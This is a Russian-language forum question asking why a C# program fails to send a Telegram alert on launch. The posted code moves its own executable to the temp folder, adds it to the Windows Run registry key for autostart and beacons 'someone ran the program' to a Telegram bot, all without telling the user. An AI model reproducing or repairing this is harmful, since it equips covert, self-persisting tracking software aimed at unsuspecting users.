У меня есть программа. Нужно, чтобы при ее запуске мне приходило оповещение в телеграм бот. Бота я написал на питоне и запустил на сервере. При запуске программы сообщения не приходят. Подскажите, пожалуйста, что я делаю неправильно. Заранее благодарю!
using System;
using System.Diagnostics;
using System.IO;
using System.Threading.Tasks;
using Microsoft.Win32;
using Telegram.Bot;
class Program
{
static async Task SendTelegramMessage(string message)
{
string botToken = "token";
long chatId = id;
TelegramBotClient botClient = new TelegramBotClient(botToken);
await botClient.SendTextMessageAsync(chatId, message);
}
static async Task Main()
{
string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
string exePath = Process.GetCurrentProcess().MainModule.FileName;
string tempPath = Path.Combine(Path.GetTempPath(), "myprogram.exe");
File.Move(exePath, tempPath);
await SendTelegramMessage("Кто-то запустил программу");
AddToStartup(tempPath);
Environment.Exit(0);
}
static void AddToStartup(string programPath)
{
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
key.SetValue("MyProgram", programPath);
}
}
}